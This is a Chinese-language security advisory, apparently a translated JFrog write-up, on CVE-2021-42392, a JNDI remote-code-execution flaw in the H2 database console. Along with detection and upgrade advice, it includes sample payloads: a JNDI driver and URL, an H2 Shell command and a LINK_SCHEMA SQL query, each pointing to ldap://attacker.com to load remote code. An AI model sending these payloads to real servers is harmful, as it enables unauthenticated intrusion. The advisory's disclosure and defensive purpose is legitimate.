簡(jiǎn)介
最近,JFrog安全研究團(tuán)隊(duì)披露了H2數(shù)據(jù)庫(kù)控制臺(tái)中的一個(gè)安全漏洞,其編號(hào)為CVE-2021-42392。這個(gè)安全漏洞與Apache Log4j中臭名昭著的Log4Shell漏洞(JNDI遠(yuǎn)程類(lèi)加載)有著相同的根源。
H2是一個(gè)非常流行的開(kāi)源Java SQL數(shù)據(jù)庫(kù),提供一個(gè)輕量級(jí)的內(nèi)存解決方案,使得用戶(hù)無(wú)需將數(shù)據(jù)存儲(chǔ)在磁盤(pán)上。這使得它成為各種項(xiàng)目的首選數(shù)據(jù)存儲(chǔ)解決方案:從Spring Boot等網(wǎng)絡(luò)平臺(tái)到ThingWorks等物聯(lián)網(wǎng)平臺(tái)。而com.h2database:h2包則是最流行的50個(gè)Maven包之一,具有近7000個(gè)工件依賴(lài)項(xiàng)。
由于目前任何與(Java)JNDI有關(guān)的東西都很敏感,所以,在介紹H2漏洞發(fā)現(xiàn)之旅之前,我們有必要先澄清一下成功利用該漏洞的前提條件和配置。
盡管這兩個(gè)漏洞的根源相似,但由于以下因素,CVE-2021-42392漏洞并沒(méi)有像Log4Shell(CVE-2021-44228)漏洞那樣常見(jiàn):
1、與Log4Shell不同,該漏洞的影響范圍是“直接”的。這意味著,通常只有處理初始請(qǐng)求的服務(wù)器(H2控制臺(tái))才會(huì)受到該RCE的影響。與Log4Shell相比,這個(gè)漏洞的影響相對(duì)較小,因?yàn)橐资芄舻姆?wù)器應(yīng)該很容易找到。
2、在H2數(shù)據(jù)庫(kù)的vanilla發(fā)行版上,默認(rèn)情況下,H2控制臺(tái)只監(jiān)聽(tīng)本地主機(jī)連接:這使得默認(rèn)設(shè)置是安全的。這與Log4Shell不同,Log4Shell在Log4j的默認(rèn)配置中是可以利用的。然而,值得注意的是,H2控制臺(tái)也可以很容易地被修改為監(jiān)聽(tīng)遠(yuǎn)程連接。
3、許多供應(yīng)商可能運(yùn)行H2數(shù)據(jù)庫(kù),但并不會(huì)運(yùn)行H2控制臺(tái)。盡管除了控制臺(tái)之外還有其他可利用這個(gè)漏洞的途徑,但它們都嚴(yán)重依賴(lài)于上下文,所以不太可能暴露給遠(yuǎn)程攻擊者。
也就是說(shuō),如果您運(yùn)行的H2控制臺(tái)暴露給了局域網(wǎng)(或者更糟糕的是,廣域網(wǎng)),這個(gè)安全問(wèn)題就很?chē)?yán)重了(無(wú)需身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行漏洞),所以,您應(yīng)該立即將H2數(shù)據(jù)庫(kù)更新到2.0.206版本。
我們還發(fā)現(xiàn),許多開(kāi)發(fā)者工具都依賴(lài)H2數(shù)據(jù)庫(kù),并特意暴露了H2控制臺(tái)(后面會(huì)舉一些例子)。根據(jù)最近針對(duì)開(kāi)發(fā)者的供應(yīng)鏈攻擊的趨勢(shì)來(lái)看,如流行的存儲(chǔ)庫(kù)中的惡意包,應(yīng)該提高對(duì)開(kāi)發(fā)者工具對(duì)所有合理使用情況的安全性的重視。我們認(rèn)為,依賴(lài)H2的開(kāi)發(fā)者工具應(yīng)盡快采用修復(fù)后的數(shù)據(jù)庫(kù)版本,以提高其安全性。
【點(diǎn)擊查看學(xué)習(xí)資料】或私信回復(fù)“資料”獲取
我們?yōu)槭裁匆獟呙鐹NDI的漏洞?
我們從Log4Shell漏洞事件中得到的一個(gè)重要啟示是,由于JNDI的廣泛使用,必然會(huì)有更多的軟件包受到與Log4Shell相同的根源的影響:接受任意的JNDI查找URLs。因此,我們調(diào)整了自動(dòng)漏洞檢測(cè)框架,將”javax.naming.Context.lookup“函數(shù)視為危險(xiǎn)函數(shù)(sink),并將該框架釋放到Maven倉(cāng)庫(kù)中,希望能找到與Log4Shell類(lèi)似的安全漏洞。
我們得到的第一個(gè)有效命中點(diǎn)是關(guān)于H2數(shù)據(jù)庫(kù)包的。在確認(rèn)了這個(gè)問(wèn)題后,我們把它報(bào)告給了H2的維護(hù)者,他們及時(shí)在新的版本中修復(fù)了這個(gè)問(wèn)題,并在GitHub上發(fā)布了一個(gè)關(guān)鍵漏洞的公告。隨后,我們也公布了一個(gè)高危漏洞,編號(hào)為CVE-2021-42392。
在這篇文章中,我們將介紹我們?cè)贖2數(shù)據(jù)庫(kù)中發(fā)現(xiàn)的幾個(gè)允許觸發(fā)遠(yuǎn)程JNDI查詢(xún)的攻擊途徑,其中一個(gè)途徑可以實(shí)現(xiàn)無(wú)需身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行。
漏洞根源:JNDI遠(yuǎn)程類(lèi)加載
簡(jiǎn)單來(lái)說(shuō),該漏洞的根本原因與Log4Shell類(lèi)似:H2數(shù)據(jù)庫(kù)框架中的幾個(gè)代碼路徑將未經(jīng)過(guò)濾的、攻擊者控制的URL直接傳遞給了javax.naming.Context.lookup函數(shù),這將允許遠(yuǎn)程加載代碼庫(kù)(又稱(chēng)Java代碼注入,又稱(chēng)遠(yuǎn)程代碼執(zhí)行)。
具體來(lái)說(shuō),org.h2.util.JdbcUtils.getConnection方法需要一個(gè)驅(qū)動(dòng)程序類(lèi)名稱(chēng)和數(shù)據(jù)庫(kù)URL作為參數(shù)。如果驅(qū)動(dòng)程序的類(lèi)可分配給javax.naming.Context類(lèi),則該方法會(huì)從中實(shí)例化一個(gè)對(duì)象并調(diào)用其查找方法:
else if (javax.naming.Context.class.isAssignableFrom(d)) {
// JNDI context
Context context = (Context) d.getDeclaredConstructor().newInstance();
DataSource ds = (DataSource) context.lookup(url);
if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
return ds.getConnection();
}
return ds.getConnection(user, password);
}
所以,如果提供一個(gè)驅(qū)動(dòng)類(lèi)(如javax.naming.InitialContext)和一個(gè)URL(如ldap://attacker.com/Exploit),就會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
CVE-2021-42392攻擊向量
H2控制臺(tái)——上下文無(wú)關(guān)的、無(wú)需身份驗(yàn)證的RCE
這個(gè)安全問(wèn)題最嚴(yán)重的攻擊向量是通過(guò)H2控制臺(tái)發(fā)動(dòng)攻擊。
H2數(shù)據(jù)庫(kù)包含一個(gè)內(nèi)嵌的、基于Web的控制臺(tái),幫助管理員輕松管理數(shù)據(jù)庫(kù)。當(dāng)運(yùn)行H2包JAR時(shí),它在http://localhost:8082上是默認(rèn)可用的:
java -jar bin/h2.jar
此外,在Windows系統(tǒng)上,也可以通過(guò)“開(kāi)始”菜單啟用它:
此外,當(dāng)H2作為一個(gè)嵌入式庫(kù)使用時(shí),該控制臺(tái)可以從Java中啟動(dòng):
h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();
對(duì)控制臺(tái)的訪問(wèn)是通過(guò)一個(gè)登錄表格來(lái)提供保護(hù)的,它允許將“driver”和“url”字段傳遞給JdbcUtils.getConnection的相應(yīng)字段。正是這一點(diǎn)導(dǎo)致了無(wú)需身份驗(yàn)證的RCE,因?yàn)樵谟脻撛诘膼阂釻RL進(jìn)行查找之前,根本無(wú)需驗(yàn)證用戶(hù)名和密碼。
在默認(rèn)情況下,H2控制臺(tái)只能從本地主機(jī)訪問(wèn)。這一選項(xiàng)可以通過(guò)控制臺(tái)的用戶(hù)界面加以修改:
或者通過(guò)一個(gè)命令行參數(shù):-webAllowOthers進(jìn)行修改。
不幸的是,我們發(fā)現(xiàn),一些依賴(lài)H2數(shù)據(jù)庫(kù)的第三方工具會(huì)默認(rèn)運(yùn)行暴露給遠(yuǎn)程客戶(hù)端的H2控制臺(tái)。例如,JHipster框架也暴露了H2控制臺(tái),并默認(rèn)將webAllowOthers屬性設(shè)置為true。
# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false
從文檔中可以看出,當(dāng)使用JHipster框架運(yùn)行應(yīng)用程序時(shí),默認(rèn)情況下,允許在/h2-console端點(diǎn)上的JHipster web界面上使用H2控制臺(tái):
由于H2數(shù)據(jù)庫(kù)被如此多的工件使用,所以很難量化H2控制臺(tái)中存在多少易受攻擊的部署。我們之所以認(rèn)為這是最嚴(yán)重的攻擊向量,也是因?yàn)槭褂霉菜阉鞴ぞ呔涂梢远ㄎ幻嫦騑AN的易受攻擊的控制臺(tái)。
H2 Shell工具:依賴(lài)上下文的RCE
在內(nèi)置的H2 shell中,能夠控制命令行參數(shù)的攻擊者,可以調(diào)用前面提到的易受攻擊的驅(qū)動(dòng)程序和url來(lái)搞事情:
java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit
我們認(rèn)為這種攻擊向量是難以奏效的,因?yàn)檫@要求存在自定義代碼,還需要將遠(yuǎn)程輸入通過(guò)管道傳輸這些命令行參數(shù)。但是,如果存在這樣的自定義代碼,攻擊者就可以控制命令行的某些部分,那么這種攻擊就比較有希望了,并能發(fā)動(dòng)參數(shù)注入攻擊。關(guān)于這種攻擊的更多細(xì)節(jié),請(qǐng)參閱我們的Yamale文章。
基于SQL的向量:需要身份驗(yàn)證的(高權(quán)限的)RCE
此外,易受攻擊的JdbcUtils.getConnection也可以被幾個(gè)SQL存儲(chǔ)過(guò)程調(diào)用,而這些存儲(chǔ)過(guò)程在H2數(shù)據(jù)庫(kù)中是默認(rèn)可用的。我們已經(jīng)確定了幾個(gè)存儲(chǔ)過(guò)程,但它們都有相同的屬性,這使得這種攻擊向量威力有限——因?yàn)橹挥薪?jīng)過(guò)身份驗(yàn)證的管理員才能調(diào)用它們。
例如,LINK_SCHEMA存儲(chǔ)過(guò)程直接將驅(qū)動(dòng)程序和URL參數(shù)傳遞到易受攻擊的函數(shù)中,具體如下面的查詢(xún)所示:
SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');
由于該存儲(chǔ)過(guò)程只限于DB管理員使用,所以,我們認(rèn)為最可能的攻擊手段是將單獨(dú)的SQL注入漏洞升級(jí)為RCE漏洞。
如何檢測(cè)自己是否受到CVE-2021-42392漏洞的影響?
網(wǎng)絡(luò)管理員可以用nmap掃描他們的本地子網(wǎng),查看H2控制臺(tái)的開(kāi)放實(shí)例,例如:
nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"
(在vanilla安裝中,默認(rèn)的控制臺(tái)端點(diǎn)是"/";對(duì)于通過(guò)第三方工具部署的H2控制臺(tái)來(lái)說(shuō),情況可能有所不同)
任何返回的服務(wù)器都很可能被利用。
如上所述,盡管還存在其他攻擊向量,不過(guò)通過(guò)它們進(jìn)行遠(yuǎn)程利用的可能性要小得多。但是無(wú)論如何,我們都建議用戶(hù)升級(jí)H2數(shù)據(jù)庫(kù)(詳見(jiàn)后文)。
我們是如何檢測(cè)到CVE-2021-42392的?
這個(gè)安全問(wèn)題可以通過(guò)數(shù)據(jù)流分析(DFA)檢測(cè)到,尤其是把Java內(nèi)置的HttpServlet.doGet/doPost方法定義為用戶(hù)輸入源(特別是第1個(gè)req參數(shù)),而把上述的javax.naming.Context.lookup方法(執(zhí)行JNDI查找)定義為危險(xiǎn)函數(shù)/匯時(shí)。
這種情況下的數(shù)據(jù)流是相當(dāng)直接的,盡管需要對(duì)一些類(lèi)的字段進(jìn)行追蹤。紅色標(biāo)記的變量代表追蹤的數(shù)據(jù):
針對(duì)CVE-2021-42392的修復(fù)建議
我們建議所有H2數(shù)據(jù)庫(kù)的用戶(hù)盡快升級(jí)到2.0.206版本,即使您沒(méi)有直接使用H2控制臺(tái)。這是因?yàn)檫€存在其他攻擊途徑,其可利用性目前還難以確定。
2.0.206版通過(guò)限制JNDI URL只使用(本地)java協(xié)議來(lái)修復(fù)CVE-2021-42392漏洞,并拒絕任何遠(yuǎn)程LDAP/RMI查詢(xún)。這與Log4j 2.17.0中應(yīng)用的修復(fù)方法類(lèi)似。
如何緩解CVE-2021-42392漏洞的影響?
對(duì)該漏洞的最佳修復(fù)方法是升級(jí)H2數(shù)據(jù)庫(kù)。
對(duì)于目前無(wú)法升級(jí)H2的供應(yīng)商,我們提供以下緩解方案:
1、與Log4Shell漏洞類(lèi)似,較新版本的Java包含trustURLCodebase緩解措施,不允許通過(guò)JNDI直接加載遠(yuǎn)程代碼庫(kù)。供應(yīng)商可升級(jí)其Java(JRE/JDK)版本,以啟用這一緩解措施。
該緩解措施在以下版本的Java(或任何更高的版本)中都是默認(rèn)啟用的:
6u211
7u201
8u191
11.0.1
然而,這種緩解措施并不是無(wú)懈可擊的,因?yàn)楣粽呖梢酝ㄟ^(guò)LDAP發(fā)送一個(gè)序列化的“gadget”Java對(duì)象就可以繞過(guò)該緩解措施,只要相應(yīng)的“gadget”類(lèi)被包含在classpath中(取決于運(yùn)行H2數(shù)據(jù)庫(kù)的服務(wù)器)即可。
2、當(dāng)H2控制臺(tái)Servlet被部署在Web服務(wù)器上時(shí)(不使用獨(dú)立的H2 Web服務(wù)器),可以添加一個(gè)安全約束,只允許特定的用戶(hù)訪問(wèn)控制臺(tái)頁(yè)面。一個(gè)合適的配置例子可以在這里找到。
總結(jié)
最后,我們強(qiáng)烈建議將您的H2數(shù)據(jù)庫(kù)升級(jí)到最新版本,以避免受到與CVE-2021-42392漏洞有關(guān)的攻擊。我們的安全研究團(tuán)隊(duì)正在持續(xù)掃描類(lèi)似的JNDI漏洞,這既是為了負(fù)責(zé)任的披露目的,也是為了提高我們未來(lái)零日漏洞的檢測(cè)能力。據(jù)我們所知,CVE-2021-42392是Log4Shell之后公布的第一個(gè)JNDI相關(guān)的無(wú)需身份驗(yàn)證的RCE漏洞,但我們懷疑它絕不會(huì)是最后一個(gè)。